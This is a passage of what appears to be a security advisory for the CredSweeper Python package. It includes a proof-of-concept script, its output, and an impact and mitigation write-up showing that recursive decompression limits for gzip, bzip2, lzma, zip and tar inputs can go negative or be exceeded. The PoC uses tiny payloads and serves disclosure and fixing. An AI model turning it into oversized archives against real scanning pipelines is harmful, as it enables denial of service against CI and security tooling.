sys.modules[\"credsweeper.file_handler.data_content_provider\"] = data_content_provider_module\n\n    def install_provider_stub(module_name, class_name):\n        module = types.ModuleType(module_name)\n        class Provider:\n            def __init__(self, *args, **kwargs):\n                for key, value in kwargs.items():\n                    setattr(self, key, value)\n        setattr(module, class_name, Provider)\n        sys.modules[module_name] = module\n\n    install_provider_stub(\"credsweeper.file_handler.byte_content_provider\", \"ByteContentProvider\")\n    install_provider_stub(\"credsweeper.file_handler.diff_content_provider\", \"DiffContentProvider\")\n    install_provider_stub(\"credsweeper.file_handler.string_content_provider\", \"StringContentProvider\")\n    install_provider_stub(\"credsweeper.file_handler.struct_content_provider\", \"StructContentProvider\")\n    install_provider_stub(\"credsweeper.file_handler.text_content_provider\", \"TextContentProvider\")\n\ndef get_head_commit():\n    return subprocess.check_output([\"git\", \"rev-parse\", \"HEAD\"], cwd=REPO_ROOT, text=True).strip()\n\ndef get_package_version():\n    init_path = os.path.join(SOURCE_ROOT, \"__init__.py\")\n    with open(init_path, \"r\", encoding=\"utf-8\") as handle:\n        for line in handle:\n            if line.strip().startswith(\"__version__ = \"):\n                return line.split(\"=\", 1)[1].strip().strip('\"')\n    raise RuntimeError(\"Cannot locate __version__\")\n\ndef load_scanners():\n    reset_credsweeper_modules()\n    install_common_stubs()\n    abstract_module = load_module(\"credsweeper.deep_scanner.abstract_scanner\", \"deep_scanner/abstract_scanner.py\")\n    gzip_module = load_module(\"credsweeper.deep_scanner.gzip_scanner\", \"deep_scanner/gzip_scanner.py\")\n    bzip2_module = load_module(\"credsweeper.deep_scanner.bzip2_scanner\", \"deep_scanner/bzip2_scanner.py\")\n    lzma_module = load_module(\"credsweeper.deep_scanner.lzma_scanner\", \"deep_scanner/lzma_scanner.py\")\n    zip_module = load_module(\"credsweeper.deep_scanner.zip_scanner\", \"deep_scanner/zip_scanner.py\")\n    tar_module = load_module(\"credsweeper.deep_scanner.tar_scanner\", \"deep_scanner/tar_scanner.py\")\n    provider_module = sys.modules[\"credsweeper.file_handler.data_content_provider\"]\n    return abstract_module, gzip_module, bzip2_module, lzma_module, zip_module, tar_module, provider_module\n\nclass RecordingRecursiveCalls:\n    def __init__(self):\n        self.calls = []\n        self.config = object()\n    def recursive_scan(self, data_provider, depth, recursive_limit_size):\n        self.calls.append({\n            \"path\": data_provider.file_path,\n            \"len\": len(data_provider.data),\n            \"limit\": recursive_limit_size,\n            \"info\": data_provider.info,\n            \"depth\": depth,\n        })\n        return []\n\ndef build_compressed_payloads(payload):\n    gzip_buffer = io.BytesIO()\n    with gzip.GzipFile(fileobj=gzip_buffer, mode=\"wb\") as handle:\n        handle.write(payload)\n    return {\n        \"gzip\": gzip_buffer.getvalue(),\n        \"bzip2\": bz2.compress(payload),\n        \"lzma\": lzma.compress(payload),\n    }\n\ndef proof_negative_budget_after_full_decompression():\n    _, gzip_module, bzip2_module, lzma_module, _, _, provider_module = load_scanners()\n    DataContentProvider = provider_module.DataContentProvider\n    payload = b\"A\" * 64\n    recursive_limit_size = 16\n    compressed_payloads = build_compressed_payloads(payload)\n    results = []\n    for name, module, file_name in [\n        (\"gzip\", gzip_module, \"proof.txt.gz\"),\n        (\"bzip2\", bzip2_module, \"proof.txt.bz2\"),\n        (\"lzma\", lzma_module, \"proof.txt.xz\"),\n    ]:\n        recorder = RecordingRecursiveCalls()\n        provider = DataContentProvider(compressed_payloads[name], file_path=file_name, file_type=os.path.splitext(file_name)[1], info=f\"FILE:{file_name}\")\n        scanner_class = getattr(module, f\"{name.capitalize() if name != 'bzip2' else 'Bzip2'}Scanner\")\n        scanner_class.data_scan(recorder, provider, depth=1, recursive_limit_size=recursive_limit_size)\n        results.append({\n            \"format\": name,\n            \"compressed_size\": len(compressed_payloads[name]),\n            \"decompressed_size\": recorder.calls[0][\"len\"],\n            \"configured_limit\": recursive_limit_size,\n            \"residual_limit_seen_by_recursive_scan\": recorder.calls[0][\"limit\"],\n            \"recursive_call\": recorder.calls[0],\n        })\n    return results\n\ndef proof_negative_budget_not_rejected():\n    abstract_module, _, _, _, _, _, provider_module = load_scanners()\n    DataContentProvider = provider_module.DataContentProvider\n    AbstractScanner = abstract_module.AbstractScanner\n    class DemoScanner(AbstractScanner):\n        @property\n        def config(self):\n            return object()\n        @property\n        def scanner(self):\n            return object()\n        def data_scan(self, data_provider, depth, recursive_limit_size):\n            return []\n        @staticmethod\n        def get_deep_scanners(data, descriptor, depth):\n            return [], []\n        def deep_scan_with_fallback(self, data_provider, depth, recursive_limit_size):\n            self.proof = {\n                \"data_len\": len(data_provider.data),\n                \"depth\": depth,\n                \"recursive_limit_size\": recursive_limit_size,\n            }\n            return []\n    demo = DemoScanner()\n    provider = DataContentProvider(b\"A\" * 64, file_path=\"oversize.txt\", file_type=\".txt\", info=\"FILE:oversize.txt\")\n    demo.recursive_scan(provider, depth=1, recursive_limit_size=-48)\n    return demo.proof\n\ndef proof_cumulative_budget_bypass_in_multi_entry_archives():\n    _, _, _, _, zip_module, tar_module, provider_module = load_scanners()\n    DataContentProvider = provider_module.DataContentProvider\n    recursive_limit_size = 16\n    member_size = 12\n\n    zip_buffer = io.BytesIO()\n    with zipfile.ZipFile(zip_buffer, \"w\", zipfile.ZIP_DEFLATED) as archive:\n        archive.writestr(\"a.txt\", b\"A\" * member_size)\n        archive.writestr(\"b.txt\", b\"B\" * member_size)\n\n    tar_buffer = io.BytesIO()\n    with tarfile.open(fileobj=tar_buffer, mode=\"w\") as archive:\n        for name, fill in [(\"a.txt\", b\"A\"), (\"b.txt\", b\"B\")]:\n            payload = fill * member_size\n            info = tarfile.TarInfo(name)\n            info.size = len(payload)\n            archive.addfile(info, io.BytesIO(payload))\n\n    results = []\n    for name, module, data, scanner_name in [\n        (\"zip\", zip_module, zip_buffer.getvalue(), \"ZipScanner\"),\n        (\"tar\", tar_module, tar_buffer.getvalue(), \"TarScanner\"),\n    ]:\n        recorder = RecordingRecursiveCalls()\n        provider = DataContentProvider(data, file_path=f\"proof.{name}\", file_type=f\".{name}\", info=f\"FILE:proof.{name}\")\n        getattr(module, scanner_name).data_scan(recorder, provider, depth=1, recursive_limit_size=recursive_limit_size)\n        results.append({\n            \"format\": name,\n            \"configured_limit\": recursive_limit_size,\n            \"member_size\": member_size,\n            \"member_count\": len(recorder.calls),\n            \"total_extracted_bytes\": sum(call[\"len\"] for call in recorder.calls),\n            \"recursive_calls\": recorder.calls,\n        })\n    return results\n\nprint(json.dumps({\n    \"head_commit\": get_head_commit(),\n    \"package_version\": get_package_version(),\n    \"proof_1_negative_budget_after_full_decompression\": proof_negative_budget_after_full_decompression(),\n    \"proof_2_negative_budget_not_rejected\": proof_negative_budget_not_rejected(),\n    \"proof_3_cumulative_budget_bypass_in_multi_entry_archives\": proof_cumulative_budget_bypass_in_multi_entry_archives(),\n}, indent=2, sort_keys=True))\n```\n\n3. Run it with Python 3:\n\n```bash\npython proof_poc.py\n```\n\n4. Expected/observed output from my run on commit `8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6`:\n\n```json\n{\n  \"head_commit\": \"8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6\",\n  \"package_version\": \"1.15.8\",\n  \"proof_1_negative_budget_after_full_decompression\": [\n    {\n      \"format\": \"gzip\",\n      \"compressed_size\": 24,\n      \"configured_limit\": 16,\n      \"decompressed_size\": 64,\n      \"residual_limit_seen_by_recursive_scan\": -48\n    },\n    {\n      \"format\": \"bzip2\",\n      \"compressed_size\": 39,\n      \"configured_limit\": 16,\n      \"decompressed_size\": 64,\n      \"residual_limit_seen_by_recursive_scan\": -48\n    },\n    {\n      \"format\": \"lzma\",\n      \"compressed_size\": 68,\n      \"configured_limit\": 16,\n      \"decompressed_size\": 64,\n      \"residual_limit_seen_by_recursive_scan\": -48\n    }\n  ],\n  \"proof_2_negative_budget_not_rejected\": {\n    \"data_len\": 64,\n    \"depth\": 0,\n    \"recursive_limit_size\": -48\n  },\n  \"proof_3_cumulative_budget_bypass_in_multi_entry_archives\": [\n    {\n      \"format\": \"zip\",\n      \"configured_limit\": 16,\n      \"member_size\": 12,\n      \"member_count\": 2,\n      \"total_extracted_bytes\": 24\n    },\n    {\n      \"format\": \"tar\",\n      \"configured_limit\": 16,\n      \"member_size\": 12,\n      \"member_count\": 2,\n      \"total_extracted_bytes\": 24\n    }\n  ]\n}\n```\n\nWhat this proves:\n\n- GZIP/BZIP2/LZMA:\n  With a configured recursive limit of `16`, CredSweeper still fully inflates a `64` byte payload and then continues recursion with a residual limit of `-48`.\n\n- AbstractScanner:\n  The negative budget is not rejected. `recursive_scan()` still dispatches into `deep_scan_with_fallback()` with `recursive_limit_size = -48`.\n\n- ZIP/TAR:\n  A configured limit of `16` still allows two `12` byte members to be processed, for a total extracted size of `24`.\n\nThis is a complete end-to-end proof of the root cause and both exploitation variants.\n\n### Impact\nThis is an availability / resource-exhaustion vulnerability.\n\nWho is impacted:\n\n- Users who run CredSweeper with deep scanning enabled (`--depth > 0`) on untrusted repositories, archives, or binary inputs.\n- CI jobs, pre-merge checks, internal security automation, and local review workflows that recursively inspect attacker-controlled compressed files.\n- Downstream services that expose CredSweeper as part of automated scanning of uploaded or fetched content.\n\nPractical consequences:\n\n- Oversized decompressed content can be materialized and scanned even when it exceeds the configured recursive budget.\n- Archive inputs with many individually small members can exceed the configured budget in aggregate.\n- Jobs may hang, consume excessive memory/CPU, or be terminated by the operating system / CI platform.\n\nSecurity classification:\n\n- Primary weakness: `CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)`\n- Related weakness: `CWE-400: Uncontrolled Resource Consumption`\n\nI did not confirm confidentiality or integrity impact from this issue. The impact I confirmed is denial of service / resource exhaustion.\n\n### Mitigation\nI recommend fixing this in three layers:\n\n1. Add a hard negative-budget guard in `recursive_scan()` and `structure_scan()`\n\nBefore any recursive dispatch, abort when `recursive_limit_size < 0`.\n\n2. Enforce limits before or during decompression, not after full materialization\n\n- `gzip`, `bzip2`, `lzma/xz` should use bounded incremental decompression / bounded reads.\n- If the decompressed size exceeds the remaining budget, stop immediately before constructing the full payload in memory.\n\n3. Track a mutable cumulative budget across sibling archive members\n\n- `zip`, `tar`, and `rpm` should share a remaining-budget counter across entries.\n- After one child is accepted, decrement the shared remaining budget before processing the next sibling.\n\nRecommended regression tests:\n\n- A gzip payload whose decompressed size exceeds the recursive limit must be rejected before recursion and without a negative residual budget being processed.\n- Equivalent tests for bzip2 and lzma/xz.\n- A zip/tar archive with two members that are each under the per-entry threshold but exceed the total threshold together must stop after the budget is exhausted.\n- A direct unit test for `recursive_scan()` showing that negative `recursive_limit_size` stops recursion immediately.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "credsweeper"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.4.9"
      }, {
        "fixed" : "1.16.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Samsung/CredSweeper/security/advisories/GHSA-9mqm-qcwf-5qhg"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Samsung/CredSweeper"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400", "CWE-409" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-10T19:25:51Z",
    "nvd_published_at" : null
  }
}